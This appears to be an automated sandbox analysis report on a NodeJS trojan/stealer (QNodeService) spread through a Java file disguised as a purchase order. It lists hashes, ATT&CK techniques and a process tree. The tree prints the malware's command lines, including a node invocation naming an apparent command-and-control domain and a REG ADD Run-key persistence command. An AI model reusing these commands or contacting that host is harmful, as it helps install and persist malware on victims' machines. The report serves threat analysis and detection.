qnodeservice | c8bbca65949b22c27927e6e300071fe1b1a995c5b2adbc207359404b4bbf7803

General

Target

PO#361609.jar
Size

405KB
MD5

4488c5c2c35855192183e56d4330fc47
SHA1

abc5695603e4db7faf44044b082e93cf80cc44fc
SHA256

c8bbca65949b22c27927e6e300071fe1b1a995c5b2adbc207359404b4bbf7803
SHA512

7eae0510e232f4fafe1ef064f7a6767865ff3ebbbb986c129dc3df236b46d5207f66b248578b640ef12bd2567841f7f95754f7b58f93d41b35b8a80a30022c52

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4016	node.exe
2380	node.exe
1500	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\060d1dae-cb86-4473-b07e-6165e4613afe = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adb3-170.dat	js
behavioral2/files/0x000100000001adb3-175.dat	js
behavioral2/files/0x000100000001adb3-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4016	node.exe
4016	node.exe
4016	node.exe
4016	node.exe
2380	node.exe
2380	node.exe
2380	node.exe
2380	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2148	3024	java.exe	73
PID 3024 wrote to memory of 2148	3024	java.exe	73
PID 2148 wrote to memory of 4016	2148	javaw.exe	77
PID 2148 wrote to memory of 4016	2148	javaw.exe	77
PID 4016 wrote to memory of 2380	4016	node.exe	79
PID 4016 wrote to memory of 2380	4016	node.exe	79
PID 2380 wrote to memory of 1500	2380	node.exe	80
PID 2380 wrote to memory of 1500	2380	node.exe	80
PID 1500 wrote to memory of 2112	1500	node.exe	82
PID 1500 wrote to memory of 2112	1500	node.exe	82
PID 2112 wrote to memory of 2264	2112	cmd.exe	83
PID 2112 wrote to memory of 2264	2112	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\PO#361609.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3ec46c10.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JRMJC2\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JRMJC2\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1500
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "060d1dae-cb86-4473-b07e-6165e4613afe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2112
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "060d1dae-cb86-4473-b07e-6165e4613afe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1500-182-0x0000027649040000-0x0000027649041000-memory.dmp

Filesize
4KB

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memory/2380-176-0x0000032E01E80000-0x0000032E01E81000-memory.dmp

Filesize
4KB

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memory/4016-173-0x00000188761C0000-0x00000188761C1000-memory.dmp

Filesize
4KB

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